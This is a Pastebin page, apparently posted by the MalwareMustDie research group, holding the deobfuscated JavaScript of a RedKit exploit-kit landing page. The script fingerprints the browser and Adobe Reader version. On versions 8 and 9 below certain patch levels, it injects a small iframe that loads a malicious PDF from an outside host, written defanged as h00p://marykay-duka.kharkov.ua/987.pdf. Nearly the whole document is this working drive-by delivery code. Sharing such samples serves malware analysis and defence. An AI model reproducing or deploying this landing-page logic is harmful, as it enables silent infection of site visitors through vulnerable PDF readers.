Advertisement
MalwareMustDie

#MalwareMustDie - RedKit Landing Page 2013 Apr 14th

Apr 14th, 2013
2,244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jsou = "src";
  2. var bosfef = document.createElement("iframe");
  3.  
  4. function dettq() {
  5.     document.body.appendChild(bosfef);
  6.     bosfef.setAttribute(jsou, "h00p://marykay-duka.kharkov.ua/987.pdf");
  7. }
  8. var Ganni = {
  9.     version: "0.7.7",
  10.     rDate: "04/11/2012",
  11.     name: "Ganni",
  12.     handler: function (c, b, a) {
  13.         return function () {
  14.             c(b, a)
  15.         }
  16.     },
  17.     isDefined: function (b) {
  18.         return typeof b != "undefined"
  19.     },
  20.     isArray: function (b) {
  21.         return (/array/i).test(Object.prototype.toString.call(b))
  22.     },
  23.     isFunc: function (b) {
  24.         return typeof b == "function"
  25.     },
  26.     isString: function (b) {
  27.         return typeof b == "string"
  28.     },
  29.     isNum: function (b) {
  30.         return typeof b == "number"
  31.     },
  32.     isStrNum: function (b) {
  33.         return (typeof b == "string" && (/\d/).test(b))
  34.     },
  35.     getNumRegx: /[\d][\d\.\_,-]*/,
  36.     splitNumRegx: /[\.\_,-]/g,
  37.     getNum: function (b, c) {
  38.         var d = this,
  39.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  40.         return a ? a[0] : null
  41.     },
  42.     compareNums: function (h, f, d) {
  43.         var e = this,
  44.             c, b, a, g = parseInt;
  45.         if (e.isStrNum(h) && e.isStrNum(f)) {
  46.             if (e.isDefined(d) && d.compareNums) {
  47.                 return d.compareNums(h, f)
  48.             }
  49.             c = h.split(e.splitNumRegx);
  50.             b = f.split(e.splitNumRegx);
  51.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  52.                 if (g(c[a], 10) > g(b[a], 10)) {
  53.                     return 1
  54.                 }
  55.                 if (g(c[a], 10) < g(b[a], 10)) {
  56.                     return -1
  57.                 }
  58.             }
  59.         }
  60.         return 0
  61.     },
  62.     formatNum: function (b, c) {
  63.         var d = this,
  64.             a, e;
  65.         if (!d.isStrNum(b)) {
  66.             return null
  67.         }
  68.         if (!d.isNum(c)) {
  69.             c = 4
  70.         }
  71.         c--;
  72.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  73.         for (a = 0; a < 4; a++) {
  74.             if (/^(0+)(.+)$/.test(e[a])) {
  75.                 e[a] = RegExp.$2
  76.             }
  77.             if (a > c || !(/\d/).test(e[a])) {
  78.                 e[a] = "0"
  79.             }
  80.         }
  81.         return e.slice(0, 4).join(",")
  82.     },
  83.     $$hasMimeType: function (a) {
  84.         return function (c) {
  85.             if (!a.isIE && c) {
  86.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  87.                 for (b = 0; b < d.length; b++) {
  88.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  89.                         f = navigator.mimeTypes[d[b]];
  90.                         e = f ? f.enabledPlugin : 0;
  91.                         if (e && (e.name || e.description)) {
  92.                             return f
  93.                         }
  94.                     }
  95.                 }
  96.             }
  97.             return null
  98.         }
  99.     },
  100.     findNavPlugin: function (l, e, c) {
  101.         var j = this,
  102.             h = new RegExp(l, "i"),
  103.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  104.             k = c ? new RegExp(c, "i") : 0,
  105.             a = navigator.plugins,
  106.             g = "",
  107.             f, b, m;
  108.         for (f = 0; f < a.length; f++) {
  109.             m = a[f].description || g;
  110.             b = a[f].name || g;
  111.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  112.                 if (!k || !(k.test(m) || k.test(b))) {
  113.                     return a[f]
  114.                 }
  115.             }
  116.         }
  117.         return null
  118.     },
  119.     getMimeEnabledPlugin: function (k, m, c) {
  120.         var e = this,
  121.             f, b = new RegExp(m, "i"),
  122.             h = "",
  123.             g = c ? new RegExp(c, "i") : 0,
  124.             a, l, d, j = e.isString(k) ? [k] : k;
  125.         for (d = 0; d < j.length; d++) {
  126.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  127.                 l = f.description || h;
  128.                 a = f.name || h;
  129.                 if (b.test(l) || b.test(a)) {
  130.                     if (!g || !(g.test(l) || g.test(a))) {
  131.                         return f
  132.                     }
  133.                 }
  134.             }
  135.         }
  136.         return 0
  137.     },
  138.     getPluginFileVersion: function (f, b) {
  139.         var h = this,
  140.             e, d, g, a, c = -1;
  141.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  142.             return b
  143.         }
  144.         if (!b) {
  145.             return e
  146.         }
  147.         e = h.formatNum(e);
  148.         b = h.formatNum(b);
  149.         d = b.split(h.splitNumRegx);
  150.         g = e.split(h.splitNumRegx);
  151.         for (a = 0; a < d.length; a++) {
  152.             if (c > -1 && a > c && d[a] != "0") {
  153.                 return b
  154.             }
  155.             if (g[a] != d[a]) {
  156.                 if (c == -1) {
  157.                     c = a
  158.                 }
  159.                 if (d[a] != "0") {
  160.                     return b
  161.                 }
  162.             }
  163.         }
  164.         return e
  165.     },
  166.     AXO: window.ActiveXObject,
  167.     getAXO: function (a) {
  168.         var f = null,
  169.             d, b = this,
  170.             c = {};
  171.         try {
  172.             f = new b.AXO(a)
  173.         } catch (d) {}
  174.         return f
  175.     },
  176.     convertFuncs: function (f) {
  177.         var a, g, d, b = /^[$][$]/,
  178.             c = this;
  179.         for (a in f) {
  180.             if (b.test(a)) {
  181.                 try {
  182.                     g = a.slice(2);
  183.                     if (g.length > 0 && !f[g]) {
  184.                         f[g] = f[a](f);
  185.                         delete f[a]
  186.                     }
  187.                 } catch (d) {}
  188.             }
  189.         }
  190.     },
  191.     initObj: function (e, b, d) {
  192.         var a, c;
  193.         if (e) {
  194.             if (e[b[0]] == 1 || d) {
  195.                 for (a = 0; a < b.length; a = a + 2) {
  196.                     e[b[a]] = b[a + 1]
  197.                 }
  198.             }
  199.             for (a in e) {
  200.                 c = e[a];
  201.                 if (c && c[b[0]] == 1) {
  202.                     this.initObj(c, b)
  203.                 }
  204.             }
  205.         }
  206.     },
  207.     initScript: function () {
  208.         var c = this,
  209.             a = navigator,
  210.             e = "/",
  211.             f, i = a.userAgent || "",
  212.             g = a.vendor || "",
  213.             b = a.platform || "",
  214.             h = a.product || "";
  215.         c.initObj(c, ["$", c]);
  216.         for (f in c.Plugins) {
  217.             if (c.Plugins[f]) {
  218.                 c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
  219.             }
  220.         };
  221.         c.OS = 100;
  222.         if (b) {
  223.             var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3,
  224.                     "", 100
  225.             ];
  226.             for (f = d.length - 2; f >= 0; f = f - 2) {
  227.                 if (d[f] && new RegExp(d[f], "i").test(b)) {
  228.                     c.OS = d[f + 1];
  229.                     break
  230.                 }
  231.             }
  232.         }
  233.         c.convertFuncs(c);
  234.         c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0] || document.body || null);
  235.         c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
  236.         c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  237.         c.ActiveXEnabled = false;
  238.         if (c.isIE) {
  239.             var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  240.             for (f = 0; f < j.length; f++) {
  241.                 if (c.getAXO(j[f])) {
  242.                     c.ActiveXEnabled = true;
  243.                     break
  244.                 }
  245.             }
  246.         }
  247.         c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  248.         c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  249.         c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  250.         c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  251.         c.isSafari = ((/Apple/i).test(g) || (!g && !c.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
  252.         c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(RegExp.$1) : null;
  253.         c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  254.         c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  255.         c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  256.     },
  257.     init: function (d) {
  258.         var c = this,
  259.             b, d, a = {
  260.                 status: -3,
  261.                 plugin: 0
  262.             };
  263.         if (!c.isString(d)) {
  264.             return a
  265.         }
  266.         if (d.length == 1) {
  267.             c.getVersionDelimiter = d;
  268.             return a
  269.         }
  270.         d = d.toLowerCase().replace(/\s/g, "");
  271.         b = c.Plugins[d];
  272.         if (!b || !b.getVersion) {
  273.             return a
  274.         }
  275.         a.plugin = b;
  276.         if (!c.isDefined(b.installed)) {
  277.             b.installed = null;
  278.             b.version = null;
  279.             b.version0 = null;
  280.             b.getVersionDone = null;
  281.             b.pluginName = d
  282.         }
  283.         c.garbage = false;
  284.         if (c.isIE && !c.ActiveXEnabled && d !== "java") {
  285.             a.status = -2;
  286.             return a
  287.         }
  288.         a.status = 1;
  289.         return a
  290.     },
  291.     fPush: function (b, a) {
  292.         var c = this;
  293.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  294.             a.push(b)
  295.         }
  296.     },
  297.     callArray: function (b) {
  298.         var c = this,
  299.             a;
  300.         if (c.isArray(b)) {
  301.             for (a = 0; a < b.length; a++) {
  302.                 if (b[a] === null) {
  303.                     return
  304.                 }
  305.                 c.call(b[a]);
  306.                 b[a] = null
  307.             }
  308.         }
  309.     },
  310.     call: function (c) {
  311.         var b = this,
  312.             a = b.isArray(c) ? c.length : -1;
  313.         if (a > 0 && b.isFunc(c[0])) {
  314.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  315.         } else {
  316.             if (b.isFunc(c)) {
  317.                 c(b)
  318.             }
  319.         }
  320.     },
  321.     getVersionDelimiter: ",",
  322.     $$getVersion: function (a) {
  323.         return function (g, d, c) {
  324.             var e = a.init(g),
  325.                 f, b, h = {};
  326.             if (e.status < 0) {
  327.                 return null
  328.             };
  329.             f = e.plugin;
  330.             if (f.getVersionDone != 1) {
  331.                 f.getVersion(null, d, c);
  332.                 if (f.getVersionDone === null) {
  333.                     f.getVersionDone = 1
  334.                 }
  335.             }
  336.             a.cleanup();
  337.             b = (f.version || f.version0);
  338.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  339.             return b
  340.         }
  341.     },
  342.     cleanup: function () {},
  343.     addWinEvent: function (d, c) {
  344.         var e = this,
  345.             a = window,
  346.             b;
  347.         if (e.isFunc(c)) {
  348.             if (a.addEventListener) {
  349.                 a.addEventListener(d, c, false)
  350.             } else {
  351.                 if (a.attachEvent) {
  352.                     a.attachEvent("on" + d, c)
  353.                 } else {
  354.                     b = a["on" + d];
  355.                     a["on" + d] = e.winHandler(c, b)
  356.                 }
  357.             }
  358.         }
  359.     },
  360.     winHandler: function (d, c) {
  361.         return function () {
  362.             d();
  363.             if (typeof c == "function") {
  364.                 c()
  365.             }
  366.         }
  367.     },
  368.     WLfuncs0: [],
  369.     WLfuncs: [],
  370.     runWLfuncs: function (a) {
  371.         var b = {};
  372.         a.winLoaded = true;
  373.         a.callArray(a.WLfuncs0);
  374.         a.callArray(a.WLfuncs);
  375.         if (a.onDoneEmptyDiv) {
  376.             a.onDoneEmptyDiv()
  377.         }
  378.     },
  379.     winLoaded: false,
  380.     $$onWindowLoaded: function (a) {
  381.         return function (b) {
  382.             if (a.winLoaded) {
  383.                 a.call(b)
  384.             } else {
  385.                 a.fPush(b, a.WLfuncs)
  386.             }
  387.         }
  388.     },
  389.     div: null,
  390.     divID: "Ganni",
  391.     divWidth: 50,
  392.     pluginSize: 1,
  393.     emptyDiv: function () {
  394.         var d = this,
  395.             b, h, c, a, f, g;
  396.         if (d.div && d.div.childNodes) {
  397.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  398.                 c = d.div.childNodes[b];
  399.                 if (c && c.childNodes) {
  400.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  401.                         g = c.childNodes[h];
  402.                         try {
  403.                             c.removeChild(g)
  404.                         } catch (f) {}
  405.                     }
  406.                 }
  407.                 if (c) {
  408.                     try {
  409.                         d.div.removeChild(c)
  410.                     } catch (f) {}
  411.                 }
  412.             }
  413.         }
  414.         if (!d.div) {
  415.             a = document.getElementById(d.divID);
  416.             if (a) {
  417.                 d.div = a
  418.             }
  419.         }
  420.         if (d.div && d.div.parentNode) {
  421.             try {
  422.                 d.div.parentNode.removeChild(d.div)
  423.             } catch (f) {}
  424.             d.div = null
  425.         }
  426.     },
  427.     DONEfuncs: [],
  428.     onDoneEmptyDiv: function () {
  429.         var c = this,
  430.             a, b;
  431.         if (!c.winLoaded) {
  432.             return
  433.         }
  434.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  435.             return
  436.         }
  437.         for (a in c) {
  438.             b = c[a];
  439.             if (b && b.funcs) {
  440.                 if (b.OTF == 3) {
  441.                     return
  442.                 }
  443.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  444.                     return
  445.                 }
  446.             }
  447.         }
  448.         for (a = 0; a < c.DONEfuncs.length; a++) {
  449.             c.callArray(c.DONEfuncs)
  450.         }
  451.         c.emptyDiv()
  452.     },
  453.     getWidth: function (c) {
  454.         if (c) {
  455.             var a = c.scrollWidth || c.offsetWidth,
  456.                 b = this;
  457.             if (b.isNum(a)) {
  458.                 return a
  459.             }
  460.         }
  461.         return -1
  462.     },
  463.     getTagStatus: function (m, g, a, b) {
  464.         var c = this,
  465.             f, k = m.span,
  466.             l = c.getWidth(k),
  467.             h = a.span,
  468.             j = c.getWidth(h),
  469.             d = g.span,
  470.             i = c.getWidth(d);
  471.         if (!k || !h || !d || !c.getDOMobj(m)) {
  472.             return -2
  473.         }
  474.         if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  475.             return 0
  476.         }
  477.         if (l >= i) {
  478.             return -1
  479.         }
  480.         try {
  481.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  482.                 if (!m.winLoaded && c.winLoaded) {
  483.                     return 1
  484.                 }
  485.                 if (m.winLoaded && c.isNum(b)) {
  486.                     if (!c.isNum(m.count)) {
  487.                         m.count = b
  488.                     }
  489.                     if (b - m.count >= 10) {
  490.                         return 1
  491.                     }
  492.                 }
  493.             }
  494.         } catch (f) {}
  495.         return 0
  496.     },
  497.     getDOMobj: function (g, a) {
  498.         var f, d = this,
  499.             c = g ? g.span : 0,
  500.             b = c && c.firstChild ? 1 : 0;
  501.         try {
  502.             if (b && a) {
  503.                 d.div.focus()
  504.             }
  505.         } catch (f) {}
  506.         return b ? c.firstChild : null
  507.     },
  508.     setStyle: function (b, g) {
  509.         var f = b.style,
  510.             a, d, c = this;
  511.         if (f && g) {
  512.             for (a = 0; a < g.length; a = a + 2) {
  513.                 try {
  514.                     f[g[a]] = g[a + 1]
  515.                 } catch (d) {}
  516.             }
  517.         }
  518.     },
  519.     insertDivInBody: function (a, i) {
  520.         var h, f = this,
  521.             b = "pd33993399",
  522.             d = null,
  523.             j = i ? window.top.document : window.document,
  524.             c = "<",
  525.             g = (j.getElementsByTagName("body")[0] || j.body);
  526.         if (!g) {
  527.             try {
  528.                 j.write(c + 'div id="' + b + '">o' + c + "/div>");
  529.                 d = j.getElementById(b)
  530.             } catch (h) {}
  531.         }
  532.         g = (j.getElementsByTagName("body")[0] || j.body);
  533.         if (g) {
  534.             if (g.firstChild && f.isDefined(g.insertBefore)) {
  535.                 g.insertBefore(a, g.firstChild)
  536.             } else {
  537.                 g.appendChild(a)
  538.             }
  539.             if (d) {
  540.                 g.removeChild(d)
  541.             }
  542.         } else {}
  543.     },
  544.     insertHTML: function (g, b, h, a, l) {
  545.         var m, n = document,
  546.             k = this,
  547.             q, p = n.createElement("span"),
  548.             o, j, f = "<";
  549.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  550.         var i = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  551.         if (!k.isDefined(a)) {
  552.             a = ""
  553.         }
  554.         if (k.isString(g) && (/[^\s]/).test(g)) {
  555.             g = g.toLowerCase().replace(/\s/g, "");
  556.             q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
  557.             q += 'style="' + i + 'display:inline;" ';
  558.             for (o = 0; o < b.length; o = o + 2) {
  559.                 if (/[^\s]/.test(b[o + 1])) {
  560.                     q += b[o] + '="' + b[o + 1] + '" '
  561.                 }
  562.             }
  563.             q += ">";
  564.             for (o = 0; o < h.length; o = o + 2) {
  565.                 if (/[^\s]/.test(h[o + 1])) {
  566.                     q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
  567.                 }
  568.             }
  569.             q += a + f + "/" + g + ">"
  570.         } else {
  571.             q = a
  572.         }
  573.         if (!k.div) {
  574.             j = n.getElementById(k.divID);
  575.             if (j) {
  576.                 k.div = j
  577.             } else {
  578.                 k.div = n.createElement("div");
  579.                 k.div.id = k.divID
  580.             }
  581.             k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize + 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  582.             if (!j) {
  583.                 k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  584.                 k.insertDivInBody(k.div)
  585.             }
  586.         }
  587.         if (k.div && k.div.parentNode) {
  588.             k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  589.             try {
  590.                 p.innerHTML = q
  591.             } catch (m) {};
  592.             try {
  593.                 k.div.appendChild(p)
  594.             } catch (m) {};
  595.             return {
  596.                 span: p,
  597.                 winLoaded: k.winLoaded,
  598.                 tagName: g,
  599.                 outerHTML: q
  600.             }
  601.         }
  602.         return {
  603.             span: null,
  604.             winLoaded: k.winLoaded,
  605.             tagName: "",
  606.             outerHTML: q
  607.         }
  608.     },
  609.     Plugins: {
  610.         adobereader: {
  611.             mimeType: "application/pdf",
  612.             navPluginObj: null,
  613.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  614.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  615.             INSTALLED: {},
  616.             pluginHasMimeType: function (d, c, f) {
  617.                 var b = this,
  618.                     e = b.$,
  619.                     a;
  620.                 for (a in d) {
  621.                     if (d[a] && d[a].type && d[a].type == c) {
  622.                         return 1
  623.                     }
  624.                 }
  625.                 if (e.getMimeEnabledPlugin(c, f)) {
  626.                     return 1
  627.                 }
  628.                 return 0
  629.             },
  630.             getVersion: function (l, j) {
  631.                 var g = this,
  632.                     d = g.$,
  633.                     i, f, m, n, b = null,
  634.                     h = null,
  635.                     k = g.mimeType,
  636.                     a, c;
  637.                 if (d.isString(j)) {
  638.                     j = j.replace(/\s/g, "");
  639.                     if (j) {
  640.                         k = j
  641.                     }
  642.                 } else {
  643.                     j = null
  644.                 }
  645.                 if (d.isDefined(g.INSTALLED[k])) {
  646.                     g.installed = g.INSTALLED[k];
  647.                     return
  648.                 }
  649.                 if (!d.isIE) {
  650.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  651.                     if (g.getVersionDone !== 0) {
  652.                         g.getVersionDone = 0;
  653.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  654.                         if (!j) {
  655.                             n = b
  656.                         }
  657.                         if (!b && d.hasMimeType(g.mimeType)) {
  658.                             b = d.findNavPlugin(a, 0)
  659.                         }
  660.                         if (b) {
  661.                             g.navPluginObj = b;
  662.                             h = d.getNum(b.description) || d.getNum(b.name);
  663.                             h = d.getPluginFileVersion(b, h);
  664.                             if (!h && d.OS == 1) {
  665.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  666.                                     h = "9"
  667.                                 } else {
  668.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  669.                                         h = "8"
  670.                                     }
  671.                                 }
  672.                             }
  673.                         }
  674.                     } else {
  675.                         h = g.version
  676.                     }
  677.                     if (!d.isDefined(n)) {
  678.                         n = d.getMimeEnabledPlugin(k, a)
  679.                     }
  680.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  681.                 } else {
  682.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  683.                     c = /=\s*([\d\.]+)/g;
  684.                     try {
  685.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  686.                         for (m = 0; m < 5; m++) {
  687.                             if (c.test(f) && (!h || RegExp.$1 > h)) {
  688.                                 h = RegExp.$1
  689.                             }
  690.                         }
  691.                     } catch (i) {}
  692.                     g.installed = h ? 1 : (b ? 0 : -1)
  693.                 }
  694.                 if (!g.version) {
  695.                     g.version = d.formatNum(h)
  696.                 }
  697.                 g.INSTALLED[k] = g.installed
  698.             }
  699.         },
  700.         zz: 0
  701.     }
  702. };
  703. Ganni.initScript();
  704.  
  705. flopp = Ganni.getVersion("AdobeReader");
  706. if (flopp) {
  707.     flopp = flopp.split(',');
  708.     sp1 = false;
  709.     if (flopp[1] < 4 && 9 == flopp[0]) sp1 = true;
  710.     if (flopp[1] < 3 && flopp[0] == 8) sp1 = true;
  711.  
  712.     if (sp1) {
  713.         bosfef.setAttribute("width", 31);
  714.         bosfef.setAttribute("height", 13);
  715.  
  716.         dettq();
  717.     }
  718.  
  719. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement